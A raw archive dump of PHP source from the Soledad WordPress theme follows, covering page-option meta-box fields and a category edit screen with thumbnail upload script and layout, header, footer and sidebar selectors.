			'id'      => 'pheader_hidebead',
			'type'    => 'select',
			'options' => array(
				''     => esc_html__( 'Default', 'soledad' ),
				'hide' => esc_html__( 'Hide', 'soledad' ),
				'show' => esc_html__( 'Show', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Text Align', 'soledad' ),
			'id'      => 'pheader_align',
			'type'    => 'select',
			'options' => array(
				''       => esc_html__( 'Default', 'soledad' ),
				'left'   => esc_html__( 'Left', 'soledad' ),
				'center' => esc_html__( 'Center', 'soledad' ),
				'right'  => esc_html__( 'Right', 'soledad' )
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_width',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Container Width for Page Header', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '2000',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_ptop',
			'type'  => 'number',
			'name'  => esc_html__( 'Padding top', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),

		array(
			'id'    => 'pheader_pbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Padding bottom', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'On/Off Uppercase for Title', 'soledad' ),
			'id'      => 'pheader_turn_offup',
			'type'    => 'select',
			'options' => array(
				''    => esc_html__( 'Default', 'soledad' ),
				'on'  => esc_html__( 'On', 'soledad' ),
				'off' => esc_html__( 'Off', 'soledad' ),
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Font Weight For Title', 'soledad' ),
			'id'      => 'pheader_fwtitle',
			'type'    => 'select',
			'options' => array(
				''        => esc_html__( 'Default', 'soledad' ),
				'normal'  => 'Normal',
				'bold'    => 'Bold',
				'bolder'  => 'Bolder',
				'lighter' => 'Lighter',
				'100'     => '100',
				'200'     => '200',
				'300'     => '300',
				'400'     => '400',
				'500'     => '500',
				'600'     => '600',
				'700'     => '700',
				'800'     => '800',
				'900'     => '900'
			),
			'tab'     => 'page_title',
			'style'   => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_pbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Padding Bottom for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_mbottom',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom Margin Bottom for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_fsize',
			'type'  => 'number',
			'name'  => esc_html__( 'Custom size for Title', 'soledad' ),
			'desc'  => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'   => '1',
			'max'   => '100',
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'   => 'pheader_bread_fsize',
			'type' => 'number',
			'name' => esc_html__( 'Custom size for Breadcrumb', 'soledad' ),
			'desc' => esc_html__( 'Numeric value only, unit is pixel', 'soledad' ),
			'min'  => '1',
			'max'  => '100',
			'tab'  => 'page_title',
		),
		array(
			'id'    => 'pheader_bgimg',
			'type'  => 'image',
			'name'  => esc_html__( 'Background Image', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'

		),
		array(
			'id'    => 'pheader_bgcolor',
			'type'  => 'color',
			'name'  => esc_html__( 'Background Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_title_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Title Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_line_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Line Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_bread_color',
			'type'  => 'color',
			'name'  => esc_html__( 'Breadcrumbs Text Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		array(
			'id'    => 'pheader_bread_hcolor',
			'type'  => 'color',
			'name'  => esc_html__( 'Breadcrumbs Hover Text Color', 'soledad' ),
			'tab'   => 'page_title',
			'style' => 'penci-col-6'
		),
		// Background
		array(
			'id'   => 'page_wrap_bgcolor',
			'type' => 'color',
			'name' => esc_html__( 'Background Color', 'soledad' ),
			'tab'  => 'page_background',
		),
		array(
			'id'   => 'page_wrap_bgimg',
			'type' => 'image',
			'name' => esc_html__( 'Background Image', 'soledad' ),
			'tab'  => 'page_background',
		),
		array(
			'name'    => esc_html__( 'Background Position', 'soledad' ),
			'id'      => 'page_wrap_bg_pos',
			'type'    => 'select',
			'options' => array(
				'center'        => esc_html__( 'Center', 'soledad' ),
				'left_top'      => esc_html__( 'Left Top', 'soledad' ),
				'left_center'   => esc_html__( 'Left Center', 'soledad' ),
				'left_bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right_top'     => esc_html__( 'Right Top', 'soledad' ),
				'right_center'  => esc_html__( 'Right Center', 'soledad' ),
				'right_bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center_top'    => esc_html__( 'Center Top', 'soledad' ),
				'center_bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'std'     => 'center',
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Size', 'soledad' ),
			'id'      => 'page_wrap_bg_size',
			'type'    => 'select',
			'std'     => 'cover',
			'options' => array(
				'cover'   => esc_html__( 'Cover', 'soledad' ),
				'auto'    => esc_html__( 'Auto', 'soledad' ),
				'contain' => esc_html__( 'Contain', 'soledad' ),
			),
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Repeat', 'soledad' ),
			'id'      => 'page_wrap_bg_repeat',
			'type'    => 'select',
			'std'     => 'no-repeat',
			'options' => array(
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'no-repeat' => esc_html__( 'No repeat', 'soledad' ),
			),
			'tab'     => 'page_background',
			'style'   => 'penci-col-6'
		),

		// Custom css

		array(
			'name'        => esc_html__( 'Custom CSS Code', 'soledad' ),
			'id'          => 'page_custom_css',
			'type'        => 'textarea',
			'tab'         => 'page_custom_css',
			'placeholder' => '.class{ color: #fff; }',
			'desc'        => __( 'Enter your CSS code. In some case, the <code>!important</code> tag may be needed', 'soledad' ),
		),
	);

	$meta_boxes[] = array(
		'id'         => 'penci-metabox-page',
		'title'      => esc_html__( 'Page Options', 'soledad' ),
		'post_types' => array( 'page' ),
		'context'    => 'advanced',
		'priority'   => 'default',
		'autosave'   => 'false',
		'tabs'       => apply_filters( 'penci_page_meta_box_tabs', $tabs ),
		'fields'     => apply_filters( 'penci_page_meta_box_fields', $fields ),
	);

	return $meta_boxes;
}
PK     N\\  \  $  inc/meta-box/categories-meta-box.phpnu [        <?php
/**
 * Hook to create meta box in categories edit screen
 *
 * @since 1.0
 */

// Create markup
if ( ! function_exists( 'penci_category_fields_meta' ) ) {
	add_action( 'category_edit_form', 'penci_category_fields_meta', 0 );
	function penci_category_fields_meta( $tag ) {
		$t_id                     = $tag->term_id;
		$penci_categories         = get_option( "category_$t_id" );
		$mag_layout               = isset( $penci_categories['mag_layout'] ) ? $penci_categories['mag_layout'] : 'style-1';
		$mag_ads                  = isset( $penci_categories['mag_ads'] ) ? $penci_categories['mag_ads'] : '';
		$cat_layout               = isset( $penci_categories['cat_layout'] ) ? $penci_categories['cat_layout'] : '';
		$cat_sidebar              = isset( $penci_categories['cat_sidebar'] ) ? $penci_categories['cat_sidebar'] : '';
		$cat_sidebar_left         = isset( $penci_categories['cat_sidebar_left'] ) ? $penci_categories['cat_sidebar_left'] : '';
		$cat_sidebar_display      = isset( $penci_categories['cat_sidebar_display'] ) ? $penci_categories['cat_sidebar_display'] : '';
		$cat_header               = isset( $penci_categories['cat_header'] ) ? $penci_categories['cat_header'] : '';
		$cat_header_builder       = isset( $penci_categories['cat_header_builder'] ) ? $penci_categories['cat_header_builder'] : '';
		$cat_header_block         = isset( $penci_categories['cat_header_block'] ) ? $penci_categories['cat_header_block'] : '';
		$cat_header_single        = isset( $penci_categories['cat_header_single'] ) ? $penci_categories['cat_header_single'] : '';
		$cat_footer_builder       = isset( $penci_categories['cat_footer'] ) ? $penci_categories['cat_footer'] : '';
		$cat_footer_single        = isset( $penci_categories['cat_footer_single'] ) ? $penci_categories['cat_footer_single'] : '';
		$cat_sidebar_single       = isset( $penci_categories['cat_sidebar_single'] ) ? $penci_categories['cat_sidebar_single'] : '';
		$penci_critical_css       = isset( $penci_categories['penci_critical_css'] ) ? $penci_categories['penci_critical_css'] : '';
		$alayout_save_slug        = isset( $penci_categories['penci_archive_layout'] ) ? $penci_categories['penci_archive_layout'] : '';
		$archive_bgcolor          = isset( $penci_categories['penci_archive_bgcolor'] ) ? $penci_categories['penci_archive_bgcolor'] : '';
		$archive_acolor           = isset( $penci_categories['penci_archive_acolor'] ) ? $penci_categories['penci_archive_acolor'] : '';
		$penci_archive_gtextcolor = isset( $penci_categories['penci_archive_gtextcolor'] ) ? $penci_categories['penci_archive_gtextcolor'] : '';
		$penci_archive_cbgcolor   = isset( $penci_categories['penci_archive_cbgcolor'] ) ? $penci_categories['penci_archive_cbgcolor'] : '';
		$penci_archive_bdcolor    = isset( $penci_categories['penci_archive_bdcolor'] ) ? $penci_categories['penci_archive_bdcolor'] : '';
		$archive_color            = isset( $penci_categories['penci_archive_color'] ) ? $penci_categories['penci_archive_color'] : '';
		$archivepage_color        = isset( $penci_categories['penci_archivepage_color'] ) ? $penci_categories['penci_archivepage_color'] : '';
		$cat_magazine             = isset( $penci_categories['cat_magazine'] ) ? $penci_categories['cat_magazine'] : '';
		$default_thumb            = PENCI_SOLEDAD_URL . '/images/nothumb.jpg';
		$thumb_id                 = isset( $penci_categories['thumbnail_id'] ) ? $penci_categories['thumbnail_id'] : '';
		$thumb_url                = $thumb_id ? wp_get_attachment_image_url( $penci_categories['thumbnail_id'] ) : $default_thumb;
		?>
        <table class="form-table" role="presentation">
            <tbody>
            <tr class="form-field term-thumbnail-wrap" data-panel="colors">
                <th scope="row" valign="top">
                    <label><?php esc_html_e( 'Thumbnail', 'soledad' ); ?></label>
                </th>
                <td>

                    <div id="pc_term_thumbnail" style="margin-bottom:10px;"><img
                                src="<?php echo esc_url( $thumb_url ); ?>" width="60px" height="60px"/></div>

                    <div style="line-height: 60px;">
                        <input type="hidden" value="<?php echo $thumb_id; ?>" id="penci_categories_thumbnail_id"
                               name="penci_categories[thumbnail_id]"/>
                        <button type="button"
                                class="upload_image_button button"><?php esc_html_e( 'Upload/Add image', 'soledad' ); ?></button>
                        <button type="button"
                                class="remove_image_button button"><?php esc_html_e( 'Remove image', 'soledad' ); ?></button>
                    </div>
                <td>
                    <script type="text/javascript">

                      // Only show the "remove image" button when needed
                      if (!jQuery('#penci_categories_thumbnail_id').val()) {
                        jQuery('.remove_image_button').hide()
                      }

                      // Uploading files
                      var file_frame

                      jQuery(document).on('click', '.upload_image_button', function (event) {

                        event.preventDefault()

                        // If the media frame already exists, reopen it.
                        if (file_frame) {
                          file_frame.open()
                          return
                        }

                        // Create the media frame.
                        file_frame = wp.media.frames.downloadable_file = wp.media({
                          title: '<?php esc_html_e( 'Choose an image', 'soledad' ); ?>',
                          button: {
                            text: '<?php esc_html_e( 'Use image', 'soledad' ); ?>',
                          },
                          multiple: false,
                        })

                        // When an image is selected, run a callback.
                        file_frame.on('select', function () {
                          var attachment = file_frame.state().get('selection').first().toJSON()
                          var attachment_thumbnail = attachment.sizes.thumbnail || attachment.sizes.full

                          jQuery('#penci_categories_thumbnail_id').val(attachment.id)
                          jQuery('#pc_term_thumbnail').find('img').attr('src', attachment_thumbnail.url)
                          jQuery('.remove_image_button').show()
                        })

                        // Finally, open the modal.
                        file_frame.open()
                      })

                      jQuery(document).on('click', '.remove_image_button', function () {
                        jQuery('#pc_term_thumbnail').
                          find('img').
                          attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                        jQuery('#penci_categories_thumbnail_id').val('')
                        jQuery('.remove_image_button').hide()
                        return false
                      })

                      jQuery(document).ajaxComplete(function (event, request, options) {
                        if (request && 4 === request.readyState && 200 === request.status
                          && options.data && 0 <= options.data.indexOf('action=add-tag')) {

                          var res = wpAjax.parseAjaxResponse(request.responseXML, 'ajax-response')
                          if (!res || res.errors) {
                            return
                          }
                          // Clear Thumbnail fields on submit
                          jQuery('#pc_term_thumbnail').
                            find('img').
                            attr('src', '<?php echo esc_js( $default_thumb ); ?>')
                          jQuery('#penci_categories_thumbnail_id').val('')
                          jQuery('.remove_image_button').hide()
                          // Clear Display type field on submit
                          jQuery('#display_type').val('')
                          return
                        }
                      })

                    </script>
            </tr>
            </tbody>
        </table>
        <div class="penci-cat-option-forms-ul">
            <ul>
                <li><a data-panel="general" class="active" href="#"><?php _e( 'General', 'soledad' ); ?></a></li>
                <li><a data-panel="header" href="#"><?php _e( 'Header', 'soledad' ); ?></a></li>
                <li><a data-panel="footer" href="#"><?php _e( 'Footer', 'soledad' ); ?></a></li>
                <li><a data-panel="sidebar" href="#"><?php _e( 'Sidebar', 'soledad' ); ?></a></li>
                <li><a data-panel="colors" href="#"><?php _e( 'Colors', 'soledad' ); ?></a></li>
            </ul>
        </div>
        <div class="penci-cat-option-forms">
        <table class="form-table" role="presentation">
        <tbody>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_magazine]"><?php esc_html_e( 'Enable Magazine Layout for This Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
                $customizer_edit_url = admin_url( 'customize.php?autofocus[section]=penci_section_homepage_featured_cat_section' );
				?>
                <select name="penci_categories[cat_magazine]" id="penci_categories[cat_magazine]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_magazine, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
                <p class="description"><?php _e( 'It only works if the category contains sub-categories and displays them using the magazine layouts.','soledad' ) ;?></p>
                <p class="description"><?php _e( 'All the settings are inherited from <strong>Customize → Homepage → Featured Categories</strong>. You can configure the options by clicking <a target="_blank" href=" '. $customizer_edit_url . ' ">this link</a>.','soledad' ) ;?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="general">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_layout]"><?php esc_html_e( 'Select Layout For This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_layout]" id="penci_categories[cat_layout]">
                    <option value="" <?php selected( $cat_layout, '' ); ?>><?php _e( 'None', 'soledad' ); ?></option>
                    <option value="standard" <?php selected( $cat_layout, 'standard' ); ?>><?php _e( 'Standard Posts', 'soledad' ); ?></option>
                    <option value="classic" <?php selected( $cat_layout, 'classic' ); ?>><?php _e( 'Classic Posts', 'soledad' ); ?></option>
                    <option value="overlay" <?php selected( $cat_layout, 'overlay' ); ?>><?php _e( 'Overlay Posts', 'soledad' ); ?></option>
                    <option value="featured" <?php selected( $cat_layout, 'featured' ); ?>><?php _e( 'Featured Posts', 'soledad' ); ?></option>
                    <option value="grid" <?php selected( $cat_layout, 'grid' ); ?>><?php _e( 'Grid Posts', 'soledad' ); ?></option>
                    <option value="grid-2" <?php selected( $cat_layout, 'grid-2' ); ?>><?php _e( 'Grid 2 Columns Posts', 'soledad' ); ?></option>
                    <option value="masonry" <?php selected( $cat_layout, 'masonry' ); ?>><?php _e( 'Grid Masonry Posts', 'soledad' ); ?></option>
                    <option value="masonry-2" <?php selected( $cat_layout, 'masonry-2' ); ?>><?php _e( 'Grid Masonry 2 Columns Posts', 'soledad' ); ?></option>
                    <option value="list" <?php selected( $cat_layout, 'list' ); ?>><?php _e( 'List Posts', 'soledad' ); ?></option>
                    <option value="small-list" <?php selected( $cat_layout, 'small-list' ); ?>><?php _e( 'Small List Posts', 'soledad' ); ?></option>
                    <option value="boxed-1" <?php selected( $cat_layout, 'boxed-1' ); ?>><?php _e( 'Boxed Posts Style 1', 'soledad' ); ?></option>
                    <option value="boxed-2" <?php selected( $cat_layout, 'boxed-2' ); ?>><?php _e( 'Boxed Posts Style 2', 'soledad' ); ?></option>
                    <option value="mixed" <?php selected( $cat_layout, 'mixed' ); ?>><?php _e( 'Mixed Posts', 'soledad' ); ?></option>
                    <option value="mixed-2" <?php selected( $cat_layout, 'mixed-2' ); ?>><?php _e( 'Mixed Posts Style 2', 'soledad' ); ?></option>
                    <option value="mixed-3" <?php selected( $cat_layout, 'mixed-3' ); ?>><?php _e( 'Mixed Posts Style 3', 'soledad' ); ?></option>
                    <option value="mixed-4" <?php selected( $cat_layout, 'mixed-4' ); ?>><?php _e( 'Mixed Posts Style 4', 'soledad' ); ?></option>
                    <option value="photography" <?php selected( $cat_layout, 'photography' ); ?>><?php _e( 'Photography Posts', 'soledad' ); ?></option>
                    <option value="standard-grid" <?php selected( $cat_layout, 'standard-grid' ); ?>><?php _e( '1st Standard Then Grid', 'soledad' ); ?></option>
                    <option value="standard-grid-2" <?php selected( $cat_layout, 'standard-grid-2' ); ?>><?php _e( '1st StandardThen Grid 2 Columns', 'soledad' ); ?></option>
                    <option value="standard-list" <?php selected( $cat_layout, 'standard-list' ); ?>><?php _e( '1st Standard Then List', 'soledad' ); ?></option>
                    <option value="standard-boxed-1" <?php selected( $cat_layout, 'standard-boxed-1' ); ?>><?php _e( '1st Standard Then Boxed', 'soledad' ); ?>
                    </option>
                    <option value="classic-grid" <?php selected( $cat_layout, 'classic-grid' ); ?>><?php _e( '1st Classic Then Grid', 'soledad' ); ?>
                    </option>
                    <option value="classic-grid-2" <?php selected( $cat_layout, 'classic-grid-2' ); ?>><?php _e( '1st Classic Then Grid 2 Columns', 'soledad' ); ?>
                    </option>
                    <option value="classic-list" <?php selected( $cat_layout, 'classic-list' ); ?>><?php _e( '1st Classic Then List', 'soledad' ); ?>
                    </option>
                    <option value="classic-boxed-1" <?php selected( $cat_layout, 'classic-boxed-1' ); ?>><?php _e( '1st Classic Then Boxed', 'soledad' ); ?>
                    </option>
                    <option value="overlay-grid" <?php selected( $cat_layout, 'overlay-grid' ); ?>><?php _e( '1st Overlay Then Grid', 'soledad' ); ?>
                    </option>
                    <option value="overlay-list" <?php selected( $cat_layout, 'overlay-list' ); ?>><?php _e( '1st Overlay Then List', 'soledad' ); ?>
                    </option>
                </select>
                <p class="description"><?php _e( 'This option will override with the general layout you selected on General > General Settings > Category, Tags, Search, Archive Pages > Category, Tag, Search, Archive Layout', 'soledad' ); ?></p>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_header_single]" id="penci_categories[cat_header_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header]"><?php esc_html_e( 'Select Header Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_layout_options = array(
					'header-1'  => __( 'Header 1', 'soledad' ),
					'header-2'  => __( 'Header 2', 'soledad' ),
					'header-3'  => __( 'Header 3', 'soledad' ),
					'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
					'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
					'header-6'  => __( 'Header 6', 'soledad' ),
					'header-7'  => __( 'Header 7', 'soledad' ),
					'header-8'  => __( 'Header 8', 'soledad' ),
					'header-9'  => __( 'Header 9', 'soledad' ),
					'header-10' => __( 'Header 10', 'soledad' ),
					'header-11' => __( 'Header 11', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_header]" id="penci_categories[cat_header]">
                    <option value="">Default ( follow Customize )</option>
					<?php
					foreach ( $header_layout_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_builder]"><?php esc_html_e( 'Select Header Builder Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_options     = [];
				$header_options[''] = __( 'Default ( follow Customize )', 'soledad' );
				$header_layouts     = get_posts( [
					'post_type'      => 'penci_builder',
					'posts_per_page' => - 1,
				] );
				foreach ( $header_layouts as $header_builder ) {
					$header_options[ $header_builder->post_name ] = $header_builder->post_title;
				}
				?>
                <select name="penci_categories[cat_header_builder]" id="penci_categories[cat_header_builder]">
					<?php
					foreach ( $header_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_builder, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="header">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_header_block]"><?php esc_html_e( 'Select Penci Block use as Header Layout for this Category', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$header_block_options     = [];
				$header_block_options[''] = __( 'Default ( follow Customize )', 'soledad' );
				$header_block_layouts     = get_posts( [
					'post_type'      => 'penci-block',
					'posts_per_page' => - 1,
				] );
				foreach ( $header_block_layouts as $header_block_name ) {
					$header_block_options[ $header_block_name->post_name ] = $header_block_name->post_title;
				}
				?>
                <select name="penci_categories[cat_header_block]" id="penci_categories[cat_header_block]">
					<?php
					foreach ( $header_block_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_header_block, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="footer">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_footer_single]"><?php esc_html_e( 'Apply this setting to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_footer_single]" id="penci_categories[cat_footer_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_footer_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="footer">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_footer]"><?php esc_html_e( 'Select Footer Builder for this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_footer]" id="penci_categories[cat_footer]">
                    <option value="">Default ( follow Customize )</option>
					<?php
					$footer_layouts = get_posts( [
						'post_type'      => 'penci-block',
						'posts_per_page' => - 1,
					] );
					foreach ( $footer_layouts as $footer ) {
						$footer_layout[ $footer->ID ] = $footer->post_title;
					}
					foreach ( $footer_layout as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_footer_builder, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_single]"><?php esc_html_e( 'Apply these settings to all posts in this category?', 'soledad' ); ?></label>
            </th>
            <td>
				<?php
				$yes_no_options = array(
					''    => __( 'No', 'soledad' ),
					'yes' => __( 'Yes', 'soledad' ),
				);
				?>
                <select name="penci_categories[cat_sidebar_single]" id="penci_categories[cat_sidebar_single]">
					<?php
					foreach ( $yes_no_options as $slug => $name ) {
						echo '<option value="' . $slug . '" ' . selected( $cat_sidebar_single, $slug ) . '>' . $name . '</option>';
					} ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_display]"><?php esc_html_e( 'Display Sidebar on this Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar_display]" id="penci_categories[cat_sidebar_display]">
                    <option value="">Default ( follow Customize )</option>
                    <option value="left" <?php selected( $cat_sidebar_display, 'left' ); ?>><?php _e( 'Left Sidebar', 'soledad' ); ?></option>
                    <option value="right" <?php selected( $cat_sidebar_display, 'right' ); ?>><?php _e( 'Right Sidebar', 'soledad' ); ?></option>
                    <option value="two" <?php selected( $cat_sidebar_display, 'two' ); ?>><?php _e( 'Two Sidebar', 'soledad' ); ?></option>
                    <option value="no" <?php selected( $cat_sidebar_display, 'no' ); ?>><?php _e( 'No Sidebar', 'soledad' ); ?></option>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar]"><?php esc_html_e( 'Select Custom Sidebar for This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar]" id="penci_categories[cat_sidebar]">
                    <option value=""><?php _e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                    <option value="main-sidebar" <?php selected( $cat_sidebar, 'main-sidebar' ); ?>><?php _e( 'Main Sidebar', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-1" <?php selected( $cat_sidebar, 'custom-sidebar-1' ); ?>><?php _e( 'Custom Sidebar 1', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-2" <?php selected( $cat_sidebar, 'custom-sidebar-2' ); ?>><?php _e( 'Custom Sidebar 2', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-3" <?php selected( $cat_sidebar, 'custom-sidebar-3' ); ?>><?php _e( 'Custom Sidebar 3', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-4" <?php selected( $cat_sidebar, 'custom-sidebar-4' ); ?>><?php _e( 'Custom Sidebar 4', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-5" <?php selected( $cat_sidebar, 'custom-sidebar-5' ); ?>><?php _e( 'Custom Sidebar 5', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-6" <?php selected( $cat_sidebar, 'custom-sidebar-6' ); ?>><?php _e( 'Custom Sidebar 6', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-7" <?php selected( $cat_sidebar, 'custom-sidebar-7' ); ?>><?php _e( 'Custom Sidebar 7', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-8" <?php selected( $cat_sidebar, 'custom-sidebar-8' ); ?>><?php _e( 'Custom Sidebar 8', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-9" <?php selected( $cat_sidebar, 'custom-sidebar-9' ); ?>><?php _e( 'Custom Sidebar 9', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-10" <?php selected( $cat_sidebar, 'custom-sidebar-10' ); ?>><?php _e( 'Custom Sidebar 10', 'soledad' ); ?>
                    </option>
					<?php Penci_Custom_Sidebar::get_list_sidebar( $cat_sidebar ); ?>
                </select>
            </td>
        </tr>
        <tr class="form-field" data-panel="sidebar">
            <th scope="row" valign="top">
                <label for="penci_categories[cat_sidebar_left]"><?php esc_html_e( 'Select Custom Sidebar Left for This Category', 'soledad' ); ?></label>
            </th>
            <td>
                <select name="penci_categories[cat_sidebar_left]" id="penci_categories[cat_sidebar_left]">
                    <option value=""><?php _e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                    <option value="main-sidebar" <?php selected( $cat_sidebar_left, 'main-sidebar' ); ?>><?php _e( 'Main Sidebar', 'soledad' ); ?>
                    </option>
                    <option value="custom-sidebar-1" <?php selected( $cat_sidebar_left, 'custom-sidebar-1' ); ?>><?php _e( 'Custom                        Sidebar 1', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-2" <?php selected( $cat_sidebar_left, 'custom-sidebar-2' ); ?>><?php _e( 'Custom                        Sidebar 2', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-3" <?php selected( $cat_sidebar_left, 'custom-sidebar-3' ); ?>><?php _e( 'Custom                        Sidebar 3', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-4" <?php selected( $cat_sidebar_left, 'custom-sidebar-4' ); ?>><?php _e( 'Custom                        Sidebar 4', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-5" <?php selected( $cat_sidebar_left, 'custom-sidebar-5' ); ?>><?php _e( 'Custom                        Sidebar 5', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-6" <?php selected( $cat_sidebar_left, 'custom-sidebar-6' ); ?>><?php _e( 'Custom                        Sidebar 6', 'soledad' ); ?>                    </option>
                    <option value="custom-sidebar-7" <?php selected( $cat_sidebar_left, 'custom-sidebar-7' ); ?>><?php _e( 'Custom                        Sidebar 7', 'soledad' ); ?>                    </option>
